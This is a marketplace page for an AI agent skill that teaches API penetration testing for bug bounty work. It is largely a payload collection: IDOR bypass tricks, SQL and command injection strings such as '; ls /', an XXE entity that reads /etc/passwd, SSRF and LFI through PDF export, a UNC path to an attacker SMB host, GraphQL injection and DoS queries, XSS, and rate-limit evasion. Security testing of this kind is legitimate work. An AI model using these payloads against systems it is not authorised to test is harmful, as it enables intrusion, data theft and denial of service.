This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
Add this skill
npx mdskills install sickn33/api-fuzzing-bug-bountyComprehensive API security testing guide with extensive techniques, payloads, and tooling for bug bounty hunters
1---2name: API Fuzzing for Bug Bounty3description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.4metadata:5 author: zebbern6 version: "1.1"7---89# API Fuzzing for Bug Bounty1011## Purpose1213Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.1415## Inputs/Prerequisites1617- Burp Suite or similar proxy tool18- API wordlists (SecLists, api_wordlist)19- Understanding of REST/GraphQL/SOAP protocols20- Python for scripting21- Target API endpoints and documentation (if available)2223## Outputs/Deliverables2425- Identified API vulnerabilities26- IDOR exploitation proofs27- Authentication bypass techniques28- SQL injection points29- Unauthorized data access documentation3031---3233## API Types Overview3435| Type | Protocol | Data Format | Structure |36|------|----------|-------------|-----------|37| SOAP | HTTP | XML | Header + Body |38| REST | HTTP | JSON/XML/URL | Defined endpoints |39| GraphQL | HTTP | Custom Query | Single endpoint |4041---4243## Core Workflow4445### Step 1: API Reconnaissance4647Identify API type and enumerate endpoints:4849```bash50# Check for Swagger/OpenAPI documentation51/swagger.json52/openapi.json53/api-docs54/v1/api-docs55/swagger-ui.html5657# Use Kiterunner for API discovery58kr scan https://target.com -w routes-large.kite5960# Extract paths from Swagger61python3 json2paths.py swagger.json62```6364### Step 2: Authentication Testing6566```bash67# Test different login paths68/api/mobile/login69/api/v3/login70/api/magic_link71/api/admin/login7273# Check rate limiting on auth endpoints74# If no rate limit → brute force possible7576# Test mobile vs web API separately77# Don't assume same security controls78```7980### Step 3: IDOR Testing8182Insecure Direct Object Reference is the most common API vulnerability:8384```bash85# Basic IDOR86GET /api/users/1234 → GET /api/users/12358788# Even if ID is email-based, try numeric89/?user_id=111 instead of /?user_id=user@mail.com9091# Test /me/orders vs /user/654321/orders92```9394**IDOR Bypass Techniques:**9596```bash97# Wrap ID in array98{"id":111} → {"id":[111]}99100# JSON wrap101{"id":111} → {"id":{"id":111}}102103# Send ID twice104URL?id=<LEGIT>&id=<VICTIM>105106# Wildcard injection107{"user_id":"*"}108109# Parameter pollution110/api/get_profile?user_id=<victim>&user_id=<legit>111{"user_id":<legit_id>,"user_id":<victim_id>}112```113114### Step 4: Injection Testing115116**SQL Injection in JSON:**117118```json119{"id":"56456"} → OK120{"id":"56456 AND 1=1#"} → OK121{"id":"56456 AND 1=2#"} → OK122{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)123{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC124```125126**Command Injection:**127128```bash129# Ruby on Rails130?url=Kernel#open → ?url=|ls131132# Linux command injection133api.url.com/endpoint?name=file.txt;ls%20/134```135136**XXE Injection:**137138```xml139<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>140```141142**SSRF via API:**143144```html145<object data="http://127.0.0.1:8443"/>146<img src="http://127.0.0.1:445"/>147```148149**.NET Path.Combine Vulnerability:**150151```bash152# If .NET app uses Path.Combine(path_1, path_2)153# Test for path traversal154https://example.org/download?filename=a.png155https://example.org/download?filename=C:\inetpub\wwwroot\web.config156https://example.org/download?filename=\\smb.dns.attacker.com\a.png157```158159### Step 5: Method Testing160161```bash162# Test all HTTP methods163GET /api/v1/users/1164POST /api/v1/users/1165PUT /api/v1/users/1166DELETE /api/v1/users/1167PATCH /api/v1/users/1168169# Switch content type170Content-Type: application/json → application/xml171```172173---174175## GraphQL-Specific Testing176177### Introspection Query178179Fetch entire backend schema:180181```graphql182{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}183```184185**URL-encoded version:**186187```188/graphql?query={__schema{types{name,kind,description,fields{name}}}}189```190191### GraphQL IDOR192193```graphql194# Try accessing other user IDs195query {196 user(id: "OTHER_USER_ID") {197 email198 password199 creditCard200 }201}202```203204### GraphQL SQL/NoSQL Injection205206```graphql207mutation {208 login(input: {209 email: "test' or 1=1--"210 password: "password"211 }) {212 success213 jwt214 }215}216```217218### Rate Limit Bypass (Batching)219220```graphql221mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}222mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}223mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}224```225226### GraphQL DoS (Nested Queries)227228```graphql229query {230 posts {231 comments {232 user {233 posts {234 comments {235 user {236 posts { ... }237 }238 }239 }240 }241 }242 }243}244```245246### GraphQL XSS247248```bash249# XSS via GraphQL endpoint250http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}251252# URL-encoded XSS253http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E254```255256### GraphQL Tools257258| Tool | Purpose |259|------|---------|260| GraphCrawler | Schema discovery |261| graphw00f | Fingerprinting |262| clairvoyance | Schema reconstruction |263| InQL | Burp extension |264| GraphQLmap | Exploitation |265266---267268## Endpoint Bypass Techniques269270When receiving 403/401, try these bypasses:271272```bash273# Original blocked request274/api/v1/users/sensitivedata → 403275276# Bypass attempts277/api/v1/users/sensitivedata.json278/api/v1/users/sensitivedata?279/api/v1/users/sensitivedata/280/api/v1/users/sensitivedata??281/api/v1/users/sensitivedata%20282/api/v1/users/sensitivedata%09283/api/v1/users/sensitivedata#284/api/v1/users/sensitivedata&details285/api/v1/users/..;/sensitivedata286```287288---289290## Output Exploitation291292### PDF Export Attacks293294```html295<!-- LFI via PDF export -->296<iframe src="file:///etc/passwd" height=1000 width=800>297298<!-- SSRF via PDF export -->299<object data="http://127.0.0.1:8443"/>300301<!-- Port scanning -->302<img src="http://127.0.0.1:445"/>303304<!-- IP disclosure -->305<img src="https://iplogger.com/yourcode.gif"/>306```307308### DoS via Limits309310```bash311# Normal request312/api/news?limit=100313314# DoS attempt315/api/news?limit=9999999999316```317318---319320## Common API Vulnerabilities Checklist321322| Vulnerability | Description |323|---------------|-------------|324| API Exposure | Unprotected endpoints exposed publicly |325| Misconfigured Caching | Sensitive data cached incorrectly |326| Exposed Tokens | API keys/tokens in responses or URLs |327| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |328| IDOR / BOLA | Broken Object Level Authorization |329| Undocumented Endpoints | Hidden admin/debug endpoints |330| Different Versions | Security gaps in older API versions |331| Rate Limiting | Missing or bypassable rate limits |332| Race Conditions | TOCTOU vulnerabilities |333| XXE Injection | XML parser exploitation |334| Content Type Issues | Switching between JSON/XML |335| HTTP Method Tampering | GET→DELETE/PUT abuse |336337---338339## Quick Reference340341| Vulnerability | Test Payload | Risk |342|---------------|--------------|------|343| IDOR | Change user_id parameter | High |344| SQLi | `' OR 1=1--` in JSON | Critical |345| Command Injection | `; ls /` | Critical |346| XXE | DOCTYPE with ENTITY | High |347| SSRF | Internal IP in params | High |348| Rate Limit Bypass | Batch requests | Medium |349| Method Tampering | GET→DELETE | High |350351---352353## Tools Reference354355| Category | Tool | URL |356|----------|------|-----|357| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |358| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |359| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |360| API Security | apicheck | github.com/BBVA/apicheck |361| API Discovery | Kiterunner | github.com/assetnote/kiterunner |362| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |363| API Toolkit | APIKit | github.com/API-Security/APIKit |364| API Keys | API Guesser | api-guesser.netlify.app |365| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |366| GraphQL | InQL | github.com/doyensec/inql |367| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |368| GraphQL | graphw00f | github.com/dolevf/graphw00f |369| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |370| GraphQL | batchql | github.com/assetnote/batchql |371| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |372| Wordlists | SecLists | github.com/danielmiessler/SecLists |373| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |374| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |375| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |376| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |377378---379380## Constraints381382**Must:**383- Test mobile, web, and developer APIs separately384- Check all API versions (/v1, /v2, /v3)385- Validate both authenticated and unauthenticated access386387**Must Not:**388- Assume same security controls across API versions389- Skip testing undocumented endpoints390- Ignore rate limiting checks391392**Should:**393- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend394- Check archive.org for historical API endpoints395- Test for race conditions on sensitive operations396397---398399## Examples400401### Example 1: IDOR Exploitation402403```bash404# Original request (own data)405GET /api/v1/invoices/12345406Authorization: Bearer <token>407408# Modified request (other user's data)409GET /api/v1/invoices/12346410Authorization: Bearer <token>411412# Response reveals other user's invoice data413```414415### Example 2: GraphQL Introspection416417```bash418curl -X POST https://target.com/graphql \419 -H "Content-Type: application/json" \420 -d '{"query":"{__schema{types{name,fields{name}}}}"}'421```422423---424425## Troubleshooting426427| Issue | Solution |428|-------|----------|429| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |430| 401 on all endpoints | Try adding `?user_id=1` parameter |431| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |432| Rate limited | Use IP rotation or batch requests |433| Can't find endpoints | Check Swagger, archive.org, JS files |434
Full transparency — inspect the skill content before installing.